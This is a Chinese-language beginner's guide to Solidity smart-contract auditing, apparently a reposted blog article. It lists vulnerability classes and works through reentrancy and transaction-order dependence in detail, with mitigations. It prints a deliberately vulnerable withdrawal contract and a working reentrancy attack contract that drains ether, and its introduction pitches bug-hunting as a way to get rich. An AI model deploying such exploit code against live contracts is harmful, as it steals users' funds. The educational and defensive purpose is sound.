簡介

Solidity 是一門面向合約的、為實作智能合約而創建的高級編程語言，這門語言受到了 C++，Python 和 Javascript 語言的影響，設計的目的是能在以太坊虛擬機（EVM）上運行，

發現越來多的人關注btc、eth相關的區塊鏈知識，可能大家都幻想過找到一個合約漏洞，發一筆橫財哈哈，
網上的學習資料雜而亂，再這里給大家提供一個sodility合約審計的學習思路，讓大家少走彎路，
學習一個新技能，肯定要花不少時間，希望大家堅持下去，肯定會有識訓，

準備作業

下面的鏈接部分需要科學上網，這里就不教大家了，自己去準備，
1、谷歌瀏覽器，自行下載安裝
2、鏈接：remix
此網站用于合約的編譯、部署、測驗（常用，做筆記，收藏下來），不想用網頁的也可以在本地搭建，
鏈接：remix使用
此網站介紹怎么樣使用remix，新版本可能界面做了變化，對應是去找到功能位置就行，

3、metamask（谷歌瀏覽器插件，eth錢包）
鏈接：MetaMask的安裝與使用
圖片: Alt
后面使用remix審計合約會用到，自行下載（需要科學上網），

學習步驟

	1、熟悉solidity語言語法，
	2、自己撰寫合約，熟練掌握solidity（其實很簡單，多練習幾次就可以），
	3、學習常見智能合約漏洞，了解熟悉漏洞發生的位置和漏洞發生條件，
	4、最后進行合約漏洞靶場練習，利用前面學習的合約漏洞解題，（可以參照攻略，最后在不使用攻略，自己可以完全做出來為畢業）
	5、實戰從eth鏈上找到合約進行自己的審計，很多新上鏈的合約還是存在漏洞，

1、熟悉sodility語言

這相當于新學習一門編程語言，他跟py、c++等語言有很多類似的地方，如果你有編程基礎這將極其的簡單，
沒編程基礎的同學也不要擔心，畢竟我學習的時候也是沒有任何基礎的，大概你需要一個星期來熟悉solidity

學習基礎網站
鏈接: sodility最新中文檔案
網站介紹語言的基礎語法和各函式的創建和使用，這是合約的基礎必須要仔細讀懂，因為這部分比較枯燥，所以建議大家和第2步驟一起學習，就是一邊看中文檔案，一邊寫合約，這樣交替會比較容易學的，（我就是這樣學的，嘿嘿）

2、撰寫合約、掌握sodility

撰寫練習solidity，這是必須要自己動手去敲鍵盤才能熟悉，沒什么捷徑，
鏈接: solidity撰寫學習
此網站是用來模擬撰寫合約，有詳細教程，零基礎，適合初學者，你可以先完成此教程，然后在到remix上撰寫自己的合約，進行除錯部署，

3、常見合約漏洞

本節主要講解常見的合約漏洞型別，

1、競爭條件引發
- 1.1 重入漏洞
- 1.2 交易順序依賴攻擊
2、整型溢位
- 2.1 乘法溢位
- 2.2 減法溢位
- 2.3 加法溢位
- 2.4 其他可能溢位的情況
- 2.5 漏洞修復
3、拒絕服務攻擊（dos）
- 3.1 通過(Unexpected) Revert發動DoS
- 3.2 通過區塊Gas Limit發動DoS
- 3.3 所有者操作
4、區塊引數依賴（dos）
- 4.1 時間戳依賴
- 4.2 區塊哈希依賴
- 4.3 漏洞修復
5、ecrecover 未作0地址判斷
- 5.1 重放攻擊
6、底層函式誤用
- 6.1 call注入攻擊
- 6.2 delegatecall誤用
7、tx.origin使用錯誤
8、re-approve漏洞
9、強行將以太幣置入合約
10、短地址/引數攻擊
11、使用未初始化的存盤器區域變數
12、合約繼承中的變數覆寫問題
13、浮點和精度
14、外部合約呼叫
15、發送和接收以太幣存在的安全風險
16、讀取合約的狀態變數
17、開發人員失誤導致的安全風險
-17.1邏輯判斷錯誤
-17.2合約權限不符
-17.3建構式失配
-17.4假充值：transfer/transferFrom執行失敗未拋出例外
-17.5合約實作與設計不符

1.1重入漏洞：
以太坊智能合約的特點之一是能夠呼叫和利用其他外部合約的代碼，呼叫外部合約主要存在的危險就是外部合約可以接管控制流，并對呼叫函式不期望的資料進行更改，這類漏洞有多種形式，包括重入和交易順序依賴等，
合約通常也處理 Ether，因此通常會將 Ether
發送給各種外部用戶地址，呼叫外部合約或將以太網發送到地址的操作需要合約提交外部呼叫，這些外部呼叫可能被攻擊者劫持，迫使合約執行進一步的代碼（即通過回退函式），包括回呼自身，因此代碼執行"重新進入"合約，這種攻擊被用于臭名昭著的DAO 攻擊，
下面展示 案列.

 	pragma solidity ^0.4.22;

contract Reentrancy {
    mapping(address => uint256) public balances;

    event WithdrawFunds(address _to,uint256 _value);

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function showbalance() public view returns (uint256 ){
        return address(this).balance;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        emit WithdrawFunds(msg.sender,_weiToWithdraw);
    }
}

該合約有兩個函式：depositFunds()和withdrawFunds()，depositFunds()的功能是增加msg.sender的余額，withdrawFunds()的功能是取出msg.sender指定的數值為_weiToWithdraw的Ether
現在，一個攻擊者創建了下列 合約.

 	pragma solidity ^0.4.22;

//設定原合約介面，方便回呼
interface Reentrancy {
    function depositFunds() external payable;
    function withdrawFunds (uint256 _weiToWithdraw) external;
}
//漏洞證明合約
contract POC {
    address owner;
  Reentrancy reInstance;

    constructor() public {
        owner = msg.sender;
    }

  modifier onlyOwner() {
        require(owner==msg.sender);
        _;
  }
  //指向原合約地址
  function setInstance(address addr) public onlyOwner {
        reInstance = Reentrancy(addr);
  }
  //先存入一筆以太幣
  function depositEther() public payable {
        require(msg.value >= 1 ether);
        reInstance.depositFunds.value(msg.value)();
  }
  //取出盜取的以太幣
  function getEther() public onlyOwner {
        msg.sender.transfer(address(this).balance);
  }
  //呼叫withdrawFunds,發起攻擊 
    function withdrawFunds() public onlyOwner {
        reInstance.withdrawFunds(1 ether);
    }
  //回退函式，進行重入攻擊
    function() external payable {
        if(address(reInstance).balance >= 1 ether) {
            reInstance.withdrawFunds(1 ether);
        }
    }
}

在這里插入圖片描述
PS:注意此處由于重入攻擊造成了balances[msg.sender]溢位，強烈推薦所有數學運算都使用SafeMath進行，
分析該合約是如何進行重入攻擊的：
1、假設普通用戶向原合約(Reentrancy.sol)存入15 ether；
2、攻擊者部署攻擊合約(POC.sol)，并呼叫setInstance()指向原合約部署地址；
3、攻擊者呼叫攻擊合約的depositEther()函式，預先向原合約預存1
ether，此時，在原合約中，攻擊合約的地址有1 ether余額；
4、攻擊者呼叫攻擊合約的withdrawFunds()函式，該函式再呼叫原合約的withdrawFunds()函式，并傳參1
ether；
5、進入原合約，withdrawFunds()函式的第一行require(balances[msg.sender] >= _weiToWithdraw);，攻擊合約地址下余額為1
ether，等于_weiToWithdraw，條件滿足，進入下一行；
6、withdrawFunds()函式的第二行require(msg.sender.call.value(_weiToWithdraw)());，向msg.sender轉入_weiToWithdraw(此時是1
ether)，由于msg.sender是合約地址，solidity規定向合約地址接收到ether時如果未指定其他有效函式，那么默認會呼叫合約的fallback函式，執行流進入攻擊合約，并呼叫攻擊合約的fallback函式，并且，因為是通過call.value()()方式發送以太幣，該方法會發送所有剩余gas；
7、進入攻擊合約的fallback函式，if判斷原合約余額，此時為16
ether，條件滿足，再次"重入"原合約的withdrawFunds()函式；
8、再次進入原合約的withdrawFunds()函式，因為balances[msg.sender] -= _weiToWithdraw;并未執行，所以此時攻擊合約地址仍有1
ether，第一個require條件滿足，執行到第二個require；
9、此后步驟6-8將一直重復，直到原合約余額少于1 ether或者gas耗盡；
10、最后進入原合約，執行balances[msg.sender] -= _weiToWithdraw;，注意，此處會從balances[msg.sender]中減去所有提取的ether，導致balances[msg.sender]溢位，如果此處使用SafeMath，可以通過拋出例外的方式避免重入攻擊；
最終的結果是攻擊者只使用了1 ether，就從原合約中取出了所有的ether，
**漏洞修復**：
在可能的情況下，將ether發送給外部地址時使用solidity內置的transfer()函式，transfer()轉賬時只發送2300
gas，不足以呼叫另一份合約(即重入發送合約)，使用transfer()重寫原合約的withdrawFunds()如下；
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
msg.sender.transfer(_weiToWithdraw);
balances[msg.sender] -= _weiToWithdraw;
emit WithdrawFunds(msg.sender,_weiToWithdraw);
}
2、確保狀態變數改變發生在ether被發送(或者任何外部呼叫)之前，即Solidity官方推薦的檢查-生效-互動模式(checks-effects-interactions);
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);//檢查
balances[msg.sender] -= _weiToWithdraw;//生效
require(msg.sender.call.value(_weiToWithdraw)());//互動
emit WithdrawFunds(msg.sender,_weiToWithdraw);
}
3、使用互斥鎖：添加一個在代碼執行程序中鎖定合約的狀態變數，防止重入呼叫
bool reEntrancyMutex = false;
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
reEntrancyMutex = true;
require(balances[msg.sender] >= _weiToWithdraw);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
reEntrancyMutex = false;
emit WithdrawFunds(msg.sender,_weiToWithdraw);
}

1.2交易順序依賴攻擊
與大多數區塊鏈一樣，以太坊節點匯集交易并將其形成塊，一旦礦工解決了共識機制（目前Ethereum的 ETHASH
PoW），這些交易就被認為是有效的，解決該區塊的礦工也會選擇來自該礦池的哪些交易將包含在該區塊中，這通常是由gasPrice交易決定的，在這里有一個潛在的攻擊媒介，攻擊者可以觀察事務池中是否存在可能包含問題解決方案的事務，修改或撤銷攻擊者的權限或更改合約中的對攻擊者不利的狀態，然后，攻擊者可以從這個事務中獲取資料，并創建一個更高級別的事務gasPrice 并在原始之前將其交易包含在一個區塊中
下面展示 案列.

contract FindThisHash {
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {} // load with ether

    function solve(string solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution)); 
        msg.sender.transfer(1000 ether);
    }
}

這個合約包含1000個ether，找到并提交正確答案的用戶將得到這筆獎勵，當一個用戶找出答案Ethereum!，他呼叫solve函式，并把答案Ethereum!作為引數，不幸的是，攻擊者可以觀察交易池中任何人提交的答案，他們看到這個解決方案，檢查它的有效性，然后提交一個遠高于原始交易的gasPrice的新交易，解決該問題的礦工可能會因攻擊者的gasPrice更高而先打包攻擊者的交易，攻擊者將獲得1000ether，最初解決問題的用戶將不會得到任何獎勵（合約中沒有剩余ether），

鏈接: link.
sodility最新中文檔案

漏洞修復：
有兩類用戶可以進行這種的提前交易攻擊，用戶（修改他們的交易的gasPrice）和礦工自己（他們可以按照他們認為合適的方式重新排序交易），一個易受第一類（用戶）攻擊的合約比一個易受第二類（礦工）攻擊的合約明顯更糟糕，因為礦工只能在解決一個區塊時執行攻擊，這對于任何針對特定區塊的單個礦工來說都是不可能的，在這里，我將列出一些與他們可能阻止的攻擊類別相關的緩解措施，
可以采用的一種方法是在合約中創建限制條件，即gasPrice上限，這可以防止用戶增加gasPrice并獲得超出上限的優先事務排序，這種預防措施只能緩解第一類攻擊者（任意用戶）的攻擊，在這種情況下，礦工仍然可以攻擊合約，因為無論gasPrice如何，他們都可以根據需要排序交易，
更可靠的方法是盡可能使用提交—披露方案(commit-reveal)，這種方案規定用戶使用隱藏資訊（通常是散列）發送交易，在交易已包含在塊中之后，用戶發送一個交易解密已經發送的資料（披露階段），此方法可防止礦工和用戶進行前瞻性交易，因為他們無法確定交易內容，然而，這種方法無法隱藏交易價值（在某些情況下，這是需要隱藏的有價值資訊），
ENS智能合約允許用戶發送交易，其承諾資料包括他們愿意花費的以太數量，然后，用戶可以發送任意值的交易，在披露階段，用戶退還了交易中發送的金額與他們愿意花費的金額之間的差額，

4、合約靶場

鏈接: 捕獲以太.
鏈接: ethernaut.
兩個合約靶場都是從簡單到困難，建議大家不看攻略自己多琢磨下，再使用攻略，
攻略網址：
https://ledgerops.com/blog/capture-the-ether-part-2-of-3-diving-into-ethereum-math-vulnerabilities/
https://xz.aliyun.com/t/7173
https://xz.aliyun.com/t/7174

5、其他相關知識鏈接

1、eth相關基礎知識
2、深入了解ethevm虛擬機
3、精通位元幣
4、eth區塊鏈相關知識
5、eth相關基礎知識
6、eth相關基礎知識
在學習了合約之后，你需要了解eth是怎么樣一個鏈條，合約函式怎么在鏈上執行以及evm怎么運作，還可以看看位元幣，看完后相信你會對區塊鏈有一個全新的理解

因為篇幅原因，漏洞只講了部分，在下一章，會把漏洞方面詳細講完，
歡迎大家留言互相學習交流，

轉載請註明出處，本文鏈接：https://www.uj5u.com/ruanti/120545.html

標籤：其他

上一篇：鴻蒙系統原始碼分析(總目錄)|用故事說內核|持續更新中...

下一篇：從輸入URL到頁面加載的程序?

sodility合約審計入門學習思路 零基礎一